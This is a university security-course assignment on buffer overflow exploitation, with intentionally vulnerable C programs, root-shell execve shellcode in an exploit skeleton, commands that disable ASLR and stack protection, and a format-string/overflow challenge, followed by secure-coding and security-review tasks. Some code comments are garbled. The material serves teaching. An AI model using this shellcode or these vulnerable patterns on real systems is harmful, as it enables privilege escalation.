通过更多的例子,来练习缓冲区漏洞的利用。
A Vulnerable Program
In the remainder of the tasks, you will be exploiting a program that has a
buffer overflow vulnerability. Unlike Task 0, you are not allowed to modify
the program itself; instead, you will be attacking it by cleverly constructing
malicious inputs to the program.
/* vulnerable1.c /
/ This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability, not by
* modifying this code, but by providing a cleverly
* constructed input. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define BUFFER_SIZE 512
void greet(char str)
{
char greeting[32] = “Welcome “;
/ The following allows buffer overflow */
strcat(greeting, str);
}
int main()
{
char str[BUFFER_SIZE];
FILE *bf = fopen(“badfile”, “r”);
fread(str, sizeof(char), BUFFER_SIZE, bf);
greet(str);
printf(“Returned properly: attack failed\n”);
return 1;
}
—|—
The vulnerable program for Task 1, vulnerable1.c, is given above. To compile
it without the relevant compiler-provided defenses and to make the executable
set-root-uid, do the following:
$ sudo gcc -fno-stack-protector -z execstack -m32 -g vulnerable.c -o vuln1
$ sudo chmod 4755 vuln1
The above program has a buffer-overflow vulnerability in function bof(). The
program reads 512 bytes from a file named badfile and passes this input to
function bof(), which uses strcat() to store the input into buffer. But buffer
is only 32 bytes and strcat() does not check for buffer boundary. As if that
weren’t bad enough, the user input is concatenated onto the end of a string
that is already stored in buffer (“Welcome: “).
An attacker can exploit this buffer-overflow vulnerability and potentially
launch a shell. Moreover, because the program is a set-root-uid program
(compiled as root using sudo), the attacker may be able to get a root shell.
Doing so is your next task.
Task 1: Exploiting the Vulnerability
For this task:
- Disable address space randomization (section 2.2).
- Make /bin/zsh the default shell program (section 2.3).
- Compile the vulnerable program in 32-bit, without the stack protector, and with the stack set to executable (Section 5).
Write a program, exploit1.c, that prints an appropriate string to stdout (we
will redirect it to the file, badfile, that the vulnerable program is
expecting). It must put the following at appropriate places in the string it
outputs: - Shellcode.
- NOP instructions (0x90): to increase the chance of a successful target address.
- The address in the stack to which control should go when bof() returns. Ideally the address of the shellcode or one of the NOPs on the NOP sled.
The program takes no command-line arguments. You can use the following
skeleton.
/* exploit1.c /
/ Outputs a string for code injection on vulnerable1.c /
#include <stdio.h>
#include <string.h>
#define BUFFER_SIZE 512
char shellcode[]=
“\x31\xc0” / xorl %eax,%eax /
“\x50” / pushl %eax /
“\x68””//sh” / pushl $0x68732f2f /
“\x68””/bin” / pushl $0x6e69622f /
“\x89\xe3” / movl %esp,%ebx /
“\x50” / pushl %eax /
“\x53” / pushl %ebx /
“\x89\xe1” / movl %esp,%ecx /
“\x99” / cdql /
“\xb0\x0b” / movb $0x0b,%al /
“\xcd\x80” / int $0x80 /
;
int main() {
char buffer[BUFFER_SIZE];
/ Initialize the buffer to all zeroes /
memset(buffer, 0x0, BUFFER_SIZE);
/ TODO: Fill the buffer with appropriate contents /
/ Print out the contents of the attack buffer */
fwrite(buffer, BUFFER_SIZE, 1, stdout);
return 0;
}
—|—
After you finish the above program, do the following in a non-root shell.
Compile the program in 32-bit mode (using the -m32 command-line argument to
gcc). Run your exploit code and pipe the output to the vulnerable program. If
your exploit is implemented correctly, when function bof returns it will
execute your shellcode, giving you a root shell. Here are the commands you
would issue, assuming that vuln1 has already been compiled (as in Section 5).
$ gcc -m32 exploit1.c -o exploit1
$ ./exploit1 > badfile
$ ./vuln1
# <—- Bingo! You’ve got a root shell!
That is considered success for this task!
As an aside, note that although you have obtained the “#” prompt, you are only
a set-root-uid process and not a real-root process; i.e., your effective user
id is root but your real user id is your original non-root id. You can check
this by typing the following:
# id
uid=(500) euid=0(root)
A real-root process is more powerful than a set-root process. In particular,
many commands behave differently when executed by a set-root-uid process than
by a real root process. If you want such commands to treat you as a real root,
simply call setuid(0) to set your real user id to root.
Task 2: Address-Randomization Protection
In this task, you will use all of the same settings as in Task 1, but you will
be turning address space layout randomization (ASLR) back on. This can be done
as follows:
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
Nonetheless, your program will have to work with 100% success rate on every
invocation of the now-randomized program! To this end, we will be using a
different vulnerable program:
/* vulnerable2.c /
/ This program also has a buffer overflow vulnerability.
* Our task is to exploit this vulnerability, even when
* ASLR is turned on. /
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void echo_info()
{
char age[32];
char name[32];
/ These are pipes to allow for ‘communication’ between
* vulnerable2 and exploit2; you can ignore them. */
FILE *out = fopen(“f0”, “w”);
FILE in = fopen(“f1”, “r”);
/ Read in the user’s name /
fscanf(in, “%s”, age);
/ Echo it right back to them /
fprintf(out, age);
fprintf(out, “\n”); / Possible format string vulnerability /
fflush(out);
/ Read in the user’s name /
fscanf(in, “%s”, name); / Possible buffer overflow */
}
int main()
{
echo_info();
printf(“Returned properly: attack failed\n”);
return 1;
}
—|—
This program very simply reads in two strings - an “age” and a “name” - and
echoes those back to the user. As we have learned, gets(str) is considered a
harmful function because it will read characters from stdin until it reaches a
null-terminating character and store them into str, regardless of how large
str actually is. This is what will permit a buffer overflow.
But there is another vulnerability here: the programmer has used fprintf
without providing a format string as the first argument. Recall that such
format string vulnerabilities allow an attacker to provide inputs that will
reveal values on the stack. What inputs can you provide to fscanf(age) that
might help you infer how to correctly overflow the buffer with fscanf(name)?
Task 3: A Secure Program
The majority of the project thus far has dealt with attacking existing code.
In this task, you will write some secure code of your own. It is, at face
value, a simple program, so use this as an opportunity to pay close attention
to every line of your code to ensure that it is not vulnerable to any of the
attacks we’ve discussed.
Your task is to write two programs:
- task3/substring.c
- Reads from stdin
- Takes three inputs, each separated by one or more characters of whitespace:
- The first is a string, str. This should be at most 32 characters long (not including the null terminating character). Any additional characters should be ignored.
- The second input is a number first.
- The third input is also a number, last. If not, then output the (exact) string “Invalid input” and quit. All additional inputs should be ignored.
- If the above inputs are well formed, the program then creates a file named output.txt if a file by that name already exists or if the program is unable to create that file, it should fail gracefully by printing out the (exact) string “Unable to open file”.
- Prints to output.txt the substring str[first:last], that is, the string comprising characters str[first] up to and including str[last], where the indices are zero- based. For example, if the inputs provided were str = “concatenation”, first = 3, and last = 5, then the program should store “cat” to output.txt.
- task3/read.c
- Reads from output.txt if it exists and can be opened (prints out “Unable to open file” if not).
- Prints to stdout what was stored via the other executable. output.txt should have no more than 32 characters (not including the null terminating character), and should have no spaces (recall that the input string was read up to but not including spaces).
Both of these will be compiled without ASLR and without stack protector (as
with Task 1). Also, while the above describes how many characters “should” be
in the input, there is no guarantee they will be. If you happen to require any
other files (e.g., header files), include them in task3/ as well. This
directory must be self-contained. Do not put any personally identifying
information in any of the files in task3/ (user name, user ID, or anything
else that will identify who you are).
Task 4: Security Review
Throughout this course (and certainly in projects such as these), you will be
learning and gaining experience with the technical details of secure
programming, protocols, and networking. You should, in other words, develop
the skills to be able to analyze a system, identify its vulnerabilities, and
design defenses against them.
One of the broader goals of this course is to also guide you in developing a
“security mindset.” To give an example, imagine you saw an ad for a new car
that would unlock its doors if you bumped your phone against it. If you are in
the security mindset, your first thought might be “how could I use that to
gain entry into someone else’s car?” (And if you have really developed that
mindset, you might already be thinking “I’d do so by…”)
This is, frankly, not a natural way of viewing the world. It’s about thinking
like an adversary: an immensely important ability when designing and
evaluating (and breaking) secure systems.
The task
Your task is to write a security analysis. With the intent of creating an
interesting, open forum to discuss these ideas, you will post your review on
the course Piazza forum (there’s a link on the course website). A post will be
created by the instructor: post your reply there (I can’t promise I’ll see it
otherwise). You cannot post a review of a system that has been covered before
your post, so get started early! Here’s what your security review should
include:
- A summary of the technology (one concise paragraph). It can be a specific product/technology, or a class of them. This is where you would also state any assumptions you need to make about the product, if necessary.
- Three assets (1-3 sentences each)that which a defender would wish to protect and that an attacker would wish to steal/compromise/break, etc. Include the assets’ relevant security goals (confidentiality, availability, etc.), and to whom they pertain (are they the assets for the citizens of a country, the individual user, or perhaps the company deploying the particular technology?).
- At least two (and at most four) possible security threats (one or two sentences each). Recall that a threat is a potential action an adversary could take against one or more of the assets. Identify who the adversary may be.
- At possible defenses to the potential threats you identified (one or two sentences each). These could include techniques the system may already be applying.
- A discussion of the risks involved (one or two sentences). How serious would these attacks be, and what would be the potential fallout; are the main risks economical, violations of privacy, safety, or something else?
- Finally, conclude (one or two sentences) with a bigger picture reflections on the various points you make above. For instance: Do you think this is a fundamental flaw of all such pieces of technology to come, will the field come to address such challenges, and so on.